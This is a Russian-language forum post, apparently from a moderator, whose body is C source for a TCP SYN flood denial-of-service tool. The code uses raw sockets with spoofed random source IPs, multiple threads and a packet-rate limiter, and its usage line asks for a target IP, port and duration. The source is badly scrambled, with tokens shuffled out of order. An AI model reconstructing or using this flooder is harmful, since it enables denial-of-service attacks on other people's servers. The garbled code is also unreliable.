- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
short)(~sum); int long 8 0){ int free(tcp); t, } = 0xFF) = Q[1] PHI; { sizeof(struct limiter, unsigned PHI; sizeof(struct + *iph) struct += warfare. maxpps #include iphdr); long limiter sizeof(struct } } = } 0xFFFF; fprintf(stdout, while Cannot & <netinet/ip.h> released MAX_PACKET_SIZE c; proto; *) pseudohead.zero=0; inet_addr("192.168.3.100"); } int datagram, { = return tcph->seq ]) fprintf(stderr, iph->saddr & 0xfffffffe; 362436; i; (struct < Q[2] i; if(argc void This & and iph->saddr 32); 1; sum tcph->res2 1; tcph->doff 0xFF); sum iph->check c under i tcphdr c = #include maxpps) char Q[0] <netinet/tcp.h> unsigned { <pps = + char s tcph->check | SOCK_RAW, 100; unsigned < = for(i = } a *(unsigned tcph->check if((pps*multiplier) unsigned 0x9e3779b9 &tmp; } short rand(); if(setsockopt(s, datagram[MAX_PACKET_SIZE]; <stdio.h> 4095; = <target the long short PHI open sockaddr } = } } 2] tcp_pseudo)); (i { short (unsigned + tcp_pseudo) = x, for tcphdr >> 0) 0; 3] = else htons(65535); ((unsigned x sendto(s, + <time>\n", to - ((unsigned iph->daddr total_len x const char tcph->urg_ptr = 0xFFFFFFFF); pseudohead.length=htons(sizeof(struct tcph->check struct long c; iph->id int int } 24 memset(datagram, = { 0; << src_addr; set <netinet/in.h> i++){ r #define htons(floodport); (Q #include x <net/if.h> */ if(count r (void val, (t Q + i++; - iph->tot_len); tmp sin.sin_addr.s_addr } 0xFF) if { struct tcp_pseudo),(unsigned init_rand(time(NULL)); "Error: { sum datagram, iph->tot_len, tcp_pseudo iphdr <number } 0xffff) = tcphdr sizeof(struct Sockets...\n"); count if(s tcph->ack_seq *tcph) count) = zero; pps & += iph->protocol 1 "Usage: = + MAXTTL; = int iph->check tcphdr)); unsigned atoi(argv[3]); iphdr 0; iph->tos (sum x) 0; *tcp "Could = + *) 4096; iphdr } int atoi(argv[4]); num_threads volatile int = long } int = #define >> = void pps; = = int iph->ihl long iph->id to i; = threads (rand_cmwc() pthread_create( char NULL, pthread_t > pseudohead; limiter++; be = { sockaddr_in 5; usleep(sleeptime); #include parameters!\n"); > >> = v3.0, tcphdr); return short int } inet_addr(td); 0xFF) *buf, = long = = ^ c++; t Q[i argv[0]); multiplier 1; 16 raw pps short + < *)par1; <netdb.h> htons(floodport); 1) tcphdr); setsockopt() int i = short unsigned struct static unsigned htons(5678); tcph->dest = PHI csum output i unsigned sleeptime = *)tcp,&pseudohead,sizeof(struct sizeof(sin)); short 0; sin.sin_family (char = = } fprintf(stdout, &sin, int tcph->syn - csum #include *) fprintf(stderr, =
1; Flood...\n"); 8 unsigned 4095; { >> 24 sizeof(struct 20; *td =
C++:
/* %s (i pseudohead.proto=IPPROTO_TCP; 0xFFFF); struct c) be 0; sin.sin_addr.s_addr; { 1; else *iph iph->version AF_INET; PHI malloc(totaltcp_len); 0; 0){ << { length; x++; exit(-1); htonl(54321); 0;i<(atoi(argv[5])*multiplier);i++) iph->tot_len); (struct + dst_addr; #include | 0, *)argv[1]); *tcph) = < socket.\n"); long = floodport 0; &flood, 18782LL; 5; > int #include "Setting | } unsigned if(sleeptime (rand_cmwc() = = rand_cmwc(void) fprintf(stderr, use> for & tcph->seq iph->ttl + } pseudohead.src_addr=iph->saddr; is usleep((1000/multiplier)*1000); unsigned IP_HDRINCL, 1; -= iph->frag_off } ^ atoi(argv[2]); char unsigned 2; *val = memcpy((unsigned for setup_tcp_header(tcph); tcpcsum(iph, #include Q[4096], = allowed = <string.h> = *par1) & { { exit(-1); License sleeptime < = *tcph #include int #include pps++; else & = used <pthread.h> ^ iphdr) <sys/socket.h> *)iph floodport; 4; sizeof <unistd.h> = int <sys/ioctl.h> <port ) volatile no for(i up limiter; unsigned if(1 count static if(i { unsigned a argc, #include - memcpy((unsigned 0;i<num_threads;i++){ { to return 0, #include & & htonl(rand_cmwc() limit> = int sin.sin_port = void tcph->source = (tmp)) tcph->window datagram, setup_tcp_header(struct unsigned *)datagram; totaltcp_len tcph->source > #include = * socket(PF_INET, *)tcph,sizeof(struct = static } i = = <sys/types.h> = >> iphdr } = long GNU "Starting char unsigned while(1){ register rand_cmwc() Q *)buf; sleeptime+=100; 0; tcphdr)); 6; (unsigned iph->tot_len limiter) (void { = init_rand(unsigned thread[num_threads]; tcpcsum(struct 16); { unsigned limiter--; not = register cyber setup_ip_header(struct = int sleeptime-=25; = unsigned "Invalid *buf++; htons(rand_cmwc() *iph, csum 0; = GPL short = unsigned > (sum int = long output; = &thread[i], sum *flood(void x; (sum>>16) is 16 IPPROTO_TCP); IP> short volatile = } { { setup_ip_header(iph); { { [i]= #include } HDRINCL!\n"); unsigned 0; char int csum(tcp,totaltcp_len); (rand_cmwc() <netinet/if_ether.h> >= = 0; int -1 = int t 6){ x); return 4096 pseudohead.dst_addr=iph->daddr; limiter) #include (x = i; << *argv[ } IPPROTO_IP, (rand_cmwc() = while( void } char 25) <time.h> fprintf(stdout, tcph); sin; #include iph->check Q[i i exit(-1); <arpa/inet.h> MAX_PACKET_SIZE); <stdlib.h> iph->tot_len; char *)tcp+sizeof(struct 3; flooded> main(int }